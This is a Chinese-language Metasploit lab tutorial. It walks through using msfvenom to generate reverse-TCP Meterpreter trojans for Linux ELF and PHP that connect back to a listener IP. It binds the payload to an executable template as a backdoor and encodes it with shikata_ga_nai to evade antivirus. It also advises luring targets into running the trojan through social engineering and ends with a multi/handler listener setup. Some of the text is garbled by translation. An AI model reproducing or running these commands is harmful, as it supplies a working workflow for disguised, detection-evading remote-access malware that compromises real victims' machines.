实验介绍在渗透测试的过程中,难免会使用社会工程学的手段诱使对方运行我们的木马或者点击我们准备的恶意链接.木马的捆绑是我们在社会工程中经常使用的一种手段,而为了避免杀毒软件的查杀,我们不得不避免查杀木马。在本次实验中,我们将学习如何使用Metasploit的msfvenom命令生成木马、捆绑木马以及对木马进行反查杀处理。实验环境KaliLinux知识点msfvenom如何生成木马msfvenom如何将木马绑定到常用软件msfvenom如何对木马进行编码反杀渲染Metasploit是一个渗透测试平台,可以用来发现、验证和利用漏洞。当前实验环境中的Metasploit版本为v4.12.23-dev,包含1577个exploit,907个auxility,272个post,455个payloads,39个encoder和8个nop。其中exploits是漏洞利用模块(也叫渗透攻击模块),auxiliary是辅助模块,post是渗透后攻击模块,payloads是攻击载荷,也就是我们常说的shellcode。这里生成的木马其实就是payloads。在本次实验中,我们主要使用msfpayload(攻击payload生成器)、msfvenom,msfencoder(编码器)的替代品,msfvenom集成了前两者的所有功能,可以生成payload(本节提到的木马)并进行编码payload免杀,避免坏字符,捆绑木马等。KaliLinux默认安装了Metasploit框架,我们可以直接使用。在进行木马生成实验之前,我们先来学习一下msfvenom命令的用法。在kalilinux下输入如下命令,可以看到msfvenom的命令行选项。$cd/usr/bin$./msfvenom-hOptions:-p,--payload要使用的有效载荷。指定“-”或标准输入以使用自定义有效载荷--payload-options列出有效载荷的标准选项-l,--list[type]列出模块类型。选项是:payloads,encoders,nops,all-n,--nopsled在payload-f,--format输出格式前加上[length]大小的nopsled(使用--help-formatsalist)--help-formats列出可用的格式-e,--encoder使用的编码器-a,--arch使用的架构--platformpayload的平台--help-platforms列出可用平台-s,--space生成的有效负载的最大大小--encoder-space编码有效负载的最大大小(默认为-s值)-b,--bad-chars要避免的字符列表example:'\x00\xff'-i,--iterations编码payload-c的次数,--add-code指定一个额外的win32shellcode文件以包含-x,--template指定一个自定义可执行文件用作模板-k,--keep保留模板行为并将有效负载作为新线程注入-o,--out保存payload-v,--var-name指定自定义变量名用于某些输出格式--smallest生成尽可能小的payload-h,--helpShowthismessage这里我们主要使用对于-p、-f和-o选项,我们分别介绍一下它们的含义和用法。-p选项:用于指定要使用的payload,可以指定'-'或stdin来自定义payload。如果您不知道负载中包含哪些选项,可以使用--payload-options列出负载的标准选项。-f选项:用于指定payload的输出格式,可以使用--help-formats列出可选格式。-o选项:用于指定输出payload的保存路径,这里我们也可以使用重定向来代替-o选项。在生成木马之前,我们使用-l选项列出指定模块的所有可用资源(模块类型包括:payloads、encoders、nops、all)。这里我们指定payloads模块,看看有哪些木马可用。$msfvenom-lpayloads根据上面选项的解释,现在我们使用选择的payload在linux下生成木马程序!输入命令如下:$msfvenom-plinux/x86/meterpreter/reverse_tcpLHOST=192.168.122.101-felf-o/root/payload.elf命令执行后生成木马。在上面的命令中,我们使用-p选项指定了payload,并设置了监听主机的IP地址。由于这个payload默认设置监听端口为4444,这里我们不设置监听端口。您可以设置LPORT参数来更改侦听端口。通常我们生成木马后,需要通过社会工程学的攻击手段诱使目标运行我们的木马程序,否则我们的木马就是个玩具,记住:“没人运行的木马不是好木马”特洛伊木马。”下面我们将学习如何将木马绑定到一个常用的应用程序,这样我们就可以将其上传到一些地方来诱骗目标下载并运行我们的木马程序(切记不要用这个做坏事,我们有到直立的白帽)。我们仍然使用上面提到的msfvenom命令来捆绑木马,但是这里我们需要使用一个新的命令行选项-x。我们来看看-x选项的用法和意义。-x选项:允许我们指定一个自定义的可执行文件作为模板,即将木马绑定到这个可执行文件上。为了演示方便,我们将上一节生成的木马作为普通应用程序进行捆绑。$msfvenom-plinux/x86/meterpreter/reverse_tcpLHOST=192.168.122.101-felf-x/root/payload.elf-o/root/payload_backdoor.elf虽然我们已经准备好木马程序,并捆绑到常用的应用程序上,不过现在杀毒软件横行,即使没有杀毒保护成功上传到目标主机,估计还没运行就被杀了。这里使用msfvenom生成木马并对payload进行编码,实现对木马的简单反查。让我们首先了解一下我们将使用的命令选项:-e选项:用于指定要使用的编码器。-i选项:用于指定对payload进行编码的次数。我们来看看有哪些编码器:$msfvenom-lencoders这里我们选择抗杀效果比较好的编码器x86/shikata_ga_nai来编码:$cd/usr/share$msfvenom-plinux/x86/meterpreter/reverse_tcpLHOST=192.168.122.101-ex86/shikata_ga_nai-i5-felf-o/root/payload_encoder.elf这个木马基本上可以避开一些杀毒软件的查杀,其实也可以对木马程序进行编码多次,虽然可以增加躲避木马的几率,但也可能导致木马程序无法使用。当然,如果想要更好的避免查杀效果,还需要使用Metasploitpro版或者对木马进行打包,修改木马的特征码等,但是很难避免被查杀所有杀毒软件。免杀软件。实战1.php环境生成php主机msfvenom-pphp/meterpreter/reverse_tcpLHOST=192.168.1.160LPORT=4444-fraw将生成的php主机传输到被测服务器打开msfconsole监控msfconsoleuseexploit/multi/handlersetlhostlport等设置负载php/meterpreter/reverse_tcpexploit